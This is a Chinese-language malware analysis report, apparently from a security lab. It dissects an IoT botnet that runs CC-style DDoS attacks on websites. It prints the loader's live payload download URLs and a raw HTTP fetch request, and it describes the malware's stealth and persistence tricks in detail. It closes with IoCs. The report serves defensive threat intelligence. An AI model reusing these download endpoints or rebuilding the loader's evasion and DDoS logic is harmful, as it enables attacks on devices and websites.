0x01
背景
近期,银弹实验室物联网蜜罐系统捕获到一款新的 DDoS 攻击样本,经分析,该样本具备对特定网站发动 CC 攻击的能力,目前已对100+网站发动了攻击。
在这批被攻击的网站中**和色情网站占了较大部分,另外一部分是盗版资源分享网站,我们猜测这是一次非法网站的经营者或是黑产组织进行的攻击。
0x02
攻击流程
在对样本进行分析后,我们对此次攻击活动进行了梳理,大致攻击流程如下:
攻击者通过漏洞控制物联网设备,植入并执行恶意Shell 脚本;
Shell 脚本从指定地址下载加载器程序并运行;
加载器下载Payload程序并解密,之后加载到内存;
Payload程序提供脚本运行环境,下载具有攻击行为的 Lua 脚本并解密;
执行Lua 脚本,对脚本中指定的目标发动攻击;
攻击者通过控制服务器中的攻击脚本实现后续的攻击控制,包括攻击目标的切换,攻击的开始和停止。
攻击者植入的脚本会获取设备的架构,然后再下载对应架构的样本并执行,样本适配的架构有 arm、mipsel 和 aarch64。我们对其中 mipsel 架构的样本进行分析,并按照样本模块在攻击活动中的执行顺序进行了拆分,下面是对各个模块的分析。
0x03
加载器分析
加载器主要负责从攻击者的服务器中下载样本,对运行环境进行检查和设置,加载和运行样本。加载器中记录了样本的下载地址:
http://nihiosuxnmo.com:8080/SASBCKXOWYALLCZXF/mipselhttp://91.211.88.225:8080/SASBCKXOWYALLCZXF/mipsel
在请求第一个的 URL 时,会使用公共的 DNS 服务器对域名进行解析,根据解析后的地址构造 http 请求下载样本。解析后的 IP 地址为 2.59.222.124,请求内容如下:
GET /SASBCKXOWYALLCZXF/mipsel HTTP/1.0rn Host: 2.59.222.124rnConnection: closernrn
加载器收到 http 响应后,会保存 Last-Modified 字段的值,用来同步最新的样本,并通过读取 Content-Length 字段的值申请相应大小的内存空间保存接收的样本。
在加载样本前,加载器通过对运行环境进行检查和设置,提高进程的隐蔽性和稳定性,具体的设置内容如下:
将自身设置为守护进程在后台运行;
检查tmp/tmp.lck 、/var/tmp/tmp.lck 、/data/local/tmp/tmp.lck 目录下的文件是否存在,如果其中一个存在,则正常运行。否则就会自删除并结束进程;
向 /proc/self/oom_score_adj 文件写入 "-1000" ,避免进程因系统内存不足被 OOM killer 结束;
在 /proc/self/oom_adj文件写入"-17",使进程完全免于被 OOM killer 结束;
基于时间 、进程 pid 、父进程的 pid 等信息生成随机字符串作为自身的进程名;
环境检查和设置完成后,开始加载Payload。
加载样本过程大致如下:
加载器先对接收的样本进行解密,解密用到的数据内置在样本中。解密后得到一个 LZMA 格式的压缩文件,之后样本对压缩文件进行解压,得到一个能够在当前架构运行的 ELF 样本。样本的信息如下:
名称 |
架构 |
MD5 |
mipsel |
mipsel |
D835BD28FCBDEBA3B1182E1CEB7439E5 |
在附加数据的前 4 个字节是 0x001DC6F4,正好是这 4 个字节的首地址,样本通过读取这两个值判断接收文件是否正确。附加数据的剩下部分用来和样本中的数据匹配,匹配成功才会使用这个文件。
加载器先读取样本文件头的 e_type 字段,如果为 0x01,就将样本写入 /tmp/file.lck 文件并调用 execl 运行,执行后删除样本文件。如果 tmp 目录下没有这个文件,就尝试写入 /var/tmp/file.lck 文件,写入成功则运行并删除样本文件。
如果样本文件头的 e_type 字段为 0x03,则将样本加载到内存并运行。实际下载的样本的 e_type 字段为0x03,被加载到内存中的。
下面是对样本分析结果的记录。
0x04
样本分析
样本被加载器加载运行后,和加载器一样,会设置运行环境并读取 DNS 服务器地址供后续使用,具体的操作如下:
修改 /proc/pid/oom_score_adj,/proc/pid/oom_adj 文件的内容提高自身的内存使用等级,进行自删除并用随机字符作为进程名;
读取 /etc/resolv.conf 文件获取系统保存的 DNS 服务器地址及 DNS 域名;
遍历 /proc 目录下所有进程的 exe 文件内容,如果发现样本之前已经运行了,就将之前的样本进程结束。如果文件内容中出现了 "UPX!",也将对应的进程结束;
将进程号比自身大,并且不能打开对应 /proc 目录下 exe 文件的进程结束,增加系统的可用内存。
样本在设置运行环境之后,执行下载脚本下载后续攻击脚本。下载脚本以字符串的形式保存在样本中,如下图所示,完整的下载脚本见附件中的 download.txt 文件。
下载脚本会对下载内容进行解密得到攻击脚本,通过执行攻击脚本发起 DDoS 攻击。下图是下载脚本中实现下载、解密以及执行脚本的部分。
下载脚本每隔 295 秒就会下载新的攻击脚本,然后结束上一个攻击脚本的执行。如果下载失败,则不结束上一次攻击,并记录失败次数,如果失败次数到达 10 次,则切换下载地址继续下载。目前已经获取的攻击脚本有 6 个,样本从服务器下载这些脚本并执行。
下面对攻击脚本进行分析,解密后的攻击脚本已保存到附件 attack**.txt 文件。
0x05
攻击脚本分析
攻击脚本中进行攻击的主要函数有三个,分别是 cc_attack_https2、getxx2c 和 teshu1。
函数的调用关系如下:
cc_attack_https2 -> getxx2c
teshu1 -> getxx2c
下面是这三个函数功能的具体实现。
cc_attack_https2 函数创建了一个局部字符串变量 script 并与传入的字符串 sbff 进行拼接,再调用注册在样本中的 c 函数 create_task 将 script 字符串作为 lua 脚本执行。
函数定义了 getxx2c 函数和产生随机数的函数,通过 while 循环设置工作时间为 3600s * 12 = 12 个小时,之后创建了一个 user_agents 表,保存了 10 个 user_agent,随机选择一个,在之后生成请求报文时使用。
传入 cc_attack_https2 函数的字符串如下,调用 getxx2c,字符串经过拼接作为脚本运行。
getxx2c 函数创建请求报文,使用 https.request 发起请求,实施 DDoS 攻击。
teshu1 函数用来处理需要使用 cookie 的攻击地址。通过将攻击地址传入 getxx2c 并调用,之后读取返回的结果并取出 cookie,填写到下一次的攻击报文中。
0x06
IoCs
样本 MD5:
B7765**B6C9D3501722DFAEF806317B6
28827ABA3675E1A802BB7D8113701615
1E6E664D0669F1D625FCBA5B12F43C6C
DOMAIN:
nihiosuxnmo.com
IP:
91.211.88.225
2.59.222.124
END
作者 | bolin
编辑 | who
本文作者:知微攻防实验室
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/202570.html